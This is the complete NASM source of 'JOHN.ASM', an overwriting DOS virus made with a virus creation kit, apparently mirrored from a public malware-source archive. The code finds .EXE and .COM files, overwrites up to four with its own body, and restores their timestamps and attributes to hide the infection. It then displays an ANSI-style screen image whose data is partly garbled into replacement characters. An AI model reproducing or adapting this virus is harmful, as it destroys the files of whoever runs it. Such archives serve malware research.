mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
287 lines
13 KiB
NASM
287 lines
13 KiB
NASM
|
; JOHN.ASM -- For John Boy!
|
|||
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
|||
|
; Written by Pentagrame
|
|||
|
|
|||
|
virus_type equ 1 ; Overwriting Virus
|
|||
|
is_encrypted equ 0 ; We're not encrypted
|
|||
|
tsr_virus equ 0 ; We're not TSR
|
|||
|
|
|||
|
code segment byte public
|
|||
|
assume cs:code,ds:code,es:code,ss:code
|
|||
|
org 0100h
|
|||
|
|
|||
|
start label near
|
|||
|
|
|||
|
main proc near
|
|||
|
flag: or di,0
|
|||
|
xchg di,ax
|
|||
|
|
|||
|
mov cx,0004h ; Do 4 infections
|
|||
|
search_loop: push cx ; Save CX
|
|||
|
call search_files ; Find and infect a file
|
|||
|
pop cx ; Restore CX
|
|||
|
loop search_loop ; Repeat until CX is 0
|
|||
|
|
|||
|
mov si,offset data00 ; SI points to data
|
|||
|
mov cx,03B3h ; Second argument is 947
|
|||
|
push di ; Save DI
|
|||
|
push es ; Save ES
|
|||
|
|
|||
|
jcxz uncrunch_done ; Exit if there are no characters
|
|||
|
|
|||
|
mov ah,0Fh ; BIOS get screen mode function
|
|||
|
int 10h
|
|||
|
xor ah,ah ; BIOS set screen mode function
|
|||
|
int 10h ; Clear the screen
|
|||
|
|
|||
|
xor di,di
|
|||
|
mov ax,0B800h ; AX is set to video segment
|
|||
|
mov es,ax ; ES holds video segment
|
|||
|
|
|||
|
mov dx,di ; Save X coordinate for later
|
|||
|
xor ax,ax ; Set current attributes
|
|||
|
cld
|
|||
|
|
|||
|
loopa: lodsb ; Get next character
|
|||
|
cmp al,32 ; Is it a control character?
|
|||
|
jb foreground ; Handle it if it is
|
|||
|
stosw ; Save letter on screen
|
|||
|
next: loop loopa ; Repeat until we're done
|
|||
|
jmp short uncrunch_done ; Leave this routine
|
|||
|
|
|||
|
foreground: cmp al,16 ; Are we changing the foreground?
|
|||
|
jnb background ; If not, check the background
|
|||
|
and ah,0F0h ; Strip off old foreground
|
|||
|
or ah,al ; Put the new one on
|
|||
|
jmp short next ; Resume looping
|
|||
|
|
|||
|
background: cmp al,24 ; Are we changing the background?
|
|||
|
je next_line ; If AL = 24, go to next line
|
|||
|
jnb flash_bit_toggle ; If AL > 24 set the flash bit
|
|||
|
sub al,16 ; Change AL to a color number
|
|||
|
add al,al ; Crude way of shifting left
|
|||
|
add al,al ; four bits without changing
|
|||
|
add al,al ; CL or wasting space. Ok,
|
|||
|
add al,al ; I guess.
|
|||
|
and al,08Fh ; Strip off old background
|
|||
|
or ah,al ; Put the new one on
|
|||
|
jmp short next ; Resume looping
|
|||
|
|
|||
|
next_line: add dx,160 ; Skip a whole line (80 chars.
|
|||
|
mov di,dx ; AND 80 attribs.)
|
|||
|
jmp short next ; Resume looping
|
|||
|
|
|||
|
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
|
|||
|
jb multi_output ; If AL < 27, it's a blinker
|
|||
|
jne next ; Otherwise resume looping
|
|||
|
xor ah,128 ; Toggle the flash bit
|
|||
|
jmp short next ; Resume looping
|
|||
|
|
|||
|
multi_output: cmp al,25 ; Set Zero flag if multi-space
|
|||
|
mov bx,cx ; Save main counter
|
|||
|
lodsb ; Get number of repititions
|
|||
|
mov cl,al ; Put it in CL
|
|||
|
mov al,' ' ; AL holds a space
|
|||
|
jz start_output ; If displaying spaces, jump
|
|||
|
lodsb ; Otherwise get character to use
|
|||
|
dec bx ; Adjust main counter
|
|||
|
|
|||
|
start_output: xor ch,ch ; Clear CH
|
|||
|
inc cx ; Add one to count
|
|||
|
rep stosw ; Display the character
|
|||
|
mov cx,bx ; Restore main counter
|
|||
|
dec cx ; Adjust main counter
|
|||
|
loopnz loopa ; Resume looping if not done
|
|||
|
|
|||
|
uncrunch_done: pop es ; Restore ES
|
|||
|
pop di ; Restore DI
|
|||
|
|
|||
|
mov ax,04C00h ; DOS terminate function
|
|||
|
int 021h
|
|||
|
main endp
|
|||
|
|
|||
|
search_files proc near
|
|||
|
mov dx,offset exe_mask ; DX points to "*.EXE"
|
|||
|
call find_files ; Try to infect a file
|
|||
|
mov dx,offset com_mask ; DX points to "*.COM"
|
|||
|
call find_files ; Try to infect a file
|
|||
|
jnc done_searching ; If successful then exit
|
|||
|
done_searching: ret ; Return to caller
|
|||
|
|
|||
|
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
|||
|
com_mask db "*.COM",0 ; Mask for all .COM files
|
|||
|
|
|||
|
search_files endp
|
|||
|
|
|||
|
find_files proc near
|
|||
|
push bp ; Save BP
|
|||
|
|
|||
|
mov ah,02Fh ; DOS get DTA function
|
|||
|
int 021h
|
|||
|
push bx ; Save old DTA address
|
|||
|
|
|||
|
mov bp,sp ; BP points to local buffer
|
|||
|
sub sp,128 ; Allocate 128 bytes on stack
|
|||
|
|
|||
|
push dx ; Save file mask
|
|||
|
lea dx,[bp - 128] ; DX points to buffer
|
|||
|
mov ah,01Ah ; DOS set DTA function
|
|||
|
int 021h
|
|||
|
|
|||
|
mov cx,00100111b ; CX holds all file attributes
|
|||
|
mov ah,04Eh ; DOS find first file function
|
|||
|
|
|||
|
pop dx ; Restore file mask
|
|||
|
find_a_file: int 021h
|
|||
|
jc done_finding ; Exit if no files found
|
|||
|
call infect_file ; Infect the file!
|
|||
|
jnc done_finding ; Exit if no error
|
|||
|
mov ah,04Fh ; DOS find next file function
|
|||
|
jmp short find_a_file ; Try finding another file
|
|||
|
|
|||
|
done_finding: mov sp,bp ; Restore old stack frame
|
|||
|
mov ah,01Ah ; DOS set DTA function
|
|||
|
pop dx ; Retrieve old DTA address
|
|||
|
int 021h
|
|||
|
|
|||
|
pop bp ; Restore BP
|
|||
|
ret ; Return to caller
|
|||
|
find_files endp
|
|||
|
|
|||
|
infect_file proc near
|
|||
|
mov ah,02Fh ; DOS get DTA address function
|
|||
|
int 021h
|
|||
|
mov si,bx ; SI points to the DTA
|
|||
|
|
|||
|
mov byte ptr [set_carry],0 ; Assume we'll fail
|
|||
|
|
|||
|
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
|||
|
jne infection_done ; If it is then exit
|
|||
|
|
|||
|
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
|||
|
je infection_done ; If it is then skip it
|
|||
|
|
|||
|
cmp word ptr [si + 01Ah],(finish - start)
|
|||
|
jb infection_done ; If it's too small then exit
|
|||
|
|
|||
|
mov ax,03D00h ; DOS open file function, r/o
|
|||
|
lea dx,[si + 01Eh] ; DX points to file name
|
|||
|
int 021h
|
|||
|
xchg bx,ax ; BX holds file handle
|
|||
|
|
|||
|
mov cx,4 ; CX holds bytes to read (4)
|
|||
|
mov ah,03Fh ; DOS read from file function
|
|||
|
mov dx,offset buffer ; DX points to buffer
|
|||
|
int 021h
|
|||
|
|
|||
|
mov ah,03Eh ; DOS close file function
|
|||
|
int 021h
|
|||
|
|
|||
|
push si ; Save DTA address before compare
|
|||
|
mov si,offset buffer ; SI points to comparison buffer
|
|||
|
mov cx,4 ; CX holds number of bytes (4)
|
|||
|
mov di,offset flag ; DI points to virus flag
|
|||
|
rep cmpsb ; Compare the first four bytes
|
|||
|
pop si ; Restore DTA address
|
|||
|
je infection_done ; If equal then exit
|
|||
|
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
|||
|
|
|||
|
mov ax,04301h ; DOS set file attrib. function
|
|||
|
xor cx,cx ; Clear all attributes
|
|||
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|||
|
int 021h
|
|||
|
|
|||
|
mov ax,03D02h ; DOS open file function, r/w
|
|||
|
int 021h
|
|||
|
xchg bx,ax ; BX holds file handle
|
|||
|
|
|||
|
mov ah,040h ; DOS write to file function
|
|||
|
mov cx,finish - start ; CX holds virus length
|
|||
|
mov dx,offset start ; DX points to start of virus
|
|||
|
int 021h
|
|||
|
|
|||
|
mov ax,05701h ; DOS set file time function
|
|||
|
mov cx,[si + 016h] ; CX holds old file time
|
|||
|
mov dx,[si + 018h] ; DX holds old file date
|
|||
|
int 021h
|
|||
|
|
|||
|
mov ah,03Eh ; DOS close file function
|
|||
|
int 021h
|
|||
|
|
|||
|
mov ax,04301h ; DOS set file attrib. function
|
|||
|
xor ch,ch ; Clear CH for file attribute
|
|||
|
mov cl,[si + 015h] ; CX holds file's old attributes
|
|||
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|||
|
int 021h
|
|||
|
|
|||
|
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
|||
|
ret ; Return to caller
|
|||
|
|
|||
|
buffer db 4 dup (?) ; Buffer to hold test data
|
|||
|
set_carry db ? ; Set-carry-on-exit flag
|
|||
|
infect_file endp
|
|||
|
|
|||
|
|
|||
|
data00: ; TheDraw Assembler Crunched Screen Image
|
|||
|
|
|||
|
IMAGEDATA_WIDTH EQU 80
|
|||
|
IMAGEDATA_DEPTH EQU 25
|
|||
|
IMAGEDATA_LENGTH EQU 947
|
|||
|
IMAGEDATA LABEL BYTE
|
|||
|
DB 15,16,24,24,24,25,2,20,25,'I',24,16,25,2,23,' ',16,25
|
|||
|
DB 'G',23,' ',24,16,25,2,20,' ',14,27,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27>'
|
|||
|
DB '<27><><EFBFBD>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,6,'<27>'
|
|||
|
DB '<27>',16,' ',20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26,8,'<27><>',16
|
|||
|
DB ' ',20,'<27>',26,8,'<27><>',24,16,25,2,23,' ',20,26,4,'<27><>',26
|
|||
|
DB 4,'<27>',16,' ',20,26,3,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20
|
|||
|
DB 26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,'<27>'
|
|||
|
DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
|
|||
|
DB 3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' ',24,16,25,2,23,' '
|
|||
|
DB 20,26,10,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27><><EFBFBD>'
|
|||
|
DB '<27>',26,3,'<27>',16,' ',20,26,3,'<27>',26,3,'<27>',16,25,3,20,26
|
|||
|
DB 3,'<27>',26,4,'<27>',16,25,2,20,26,3,'<27>',26,4,'<27>',16,25,2,23
|
|||
|
DB ' ',24,16,25,2,20,' ',26,3,'<27>',16,' ',20,'<27>',16,' ',20
|
|||
|
DB 26,3,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,10,'<27>',16,' '
|
|||
|
DB 20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27>',26,4,'<27>',16,25
|
|||
|
DB 2,20,26,3,'<27>',26,4,'<27>',16,25,2,20,' ',24,16,25,2,23,' '
|
|||
|
DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,3,'<27><>',16
|
|||
|
DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20,26,3,'<27>',16,25,2,20,26,3,'<27>'
|
|||
|
DB 16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27>',16,25,3,20,'<27>'
|
|||
|
DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' '
|
|||
|
DB 24,16,25,2,23,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,' '
|
|||
|
DB 20,'<27>',26,6,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16
|
|||
|
DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26
|
|||
|
DB 8,'<27><>',16,' ',23,' ',24,16,25,2,20,' ',16,25,'G',20,' '
|
|||
|
DB 24,16,25,2,23,' ',16,' ',20,'<27><><EFBFBD>',16,25,2,20,'<27>',26,6
|
|||
|
DB '<27><>',16,25,4,20,'<27>',26,6,'<27><>',16,25,3,20,'<27>',26,8,'<27>'
|
|||
|
DB '<27>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,7,'<27><>'
|
|||
|
DB 16,25,2,23,' ',24,16,25,2,20,' ',26,4,'<27>',16,' ',20,26
|
|||
|
DB 3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26,3,'<27><><EFBFBD><EFBFBD>',26
|
|||
|
DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
|
|||
|
DB 3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27><>',16,25,2,20,'<27><>'
|
|||
|
DB '<27>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16,' '
|
|||
|
DB 20,'<27>',26,4,'<27><><EFBFBD>',16,25,5,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,25
|
|||
|
DB 2,20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>'
|
|||
|
DB 16,' ',20,26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,' '
|
|||
|
DB 24,16,25,2,23,' ',20,26,4,'<27>',16,25,3,20,'<27><>',26,4,'<27>'
|
|||
|
DB '<27>',16,25,2,20,26,10,'<27>',16,25,2,20,26,3,'<27>',26,3,'<27>'
|
|||
|
DB 16,25,3,20,26,10,'<27>',16,' ',20,26,3,'<27>',16,' ',20,'<27>'
|
|||
|
DB '<27><><EFBFBD><EFBFBD>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16
|
|||
|
DB ' ',20,26,3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26
|
|||
|
DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,25,7
|
|||
|
DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,4,'<27><><EFBFBD><EFBFBD>'
|
|||
|
DB '<27><><EFBFBD>',16,25,2,23,' ',24,16,25,2,20,' ',16,' ',20,'<27><>'
|
|||
|
DB '<27>',16,25,2,20,'<27>',26,6,'<27><>',16,25,3,20,'<27><><EFBFBD><EFBFBD>',16,25,2
|
|||
|
DB 20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27><><EFBFBD><EFBFBD>',16,25,2
|
|||
|
DB 20,'<27><><EFBFBD><EFBFBD>',16,' ',20,'<27>',26,7,'<27><>',16,25,2,20,' ',24,16
|
|||
|
DB 25,2,23,' ',16,25,'G',23,' ',24,16,25,2,23,' ',16,25,'G'
|
|||
|
DB 23,' ',24,16,25,2,20,' ',16,25,'G',20,' ',24,16,25,2,23
|
|||
|
DB ' ',16,25,'G',23,' ',24,16,25,2,20,25,'I',24,24,24
|
|||
|
|
|||
|
|
|||
|
|
|||
|
finish label near
|
|||
|
|
|||
|
code ends
|
|||
|
end main
|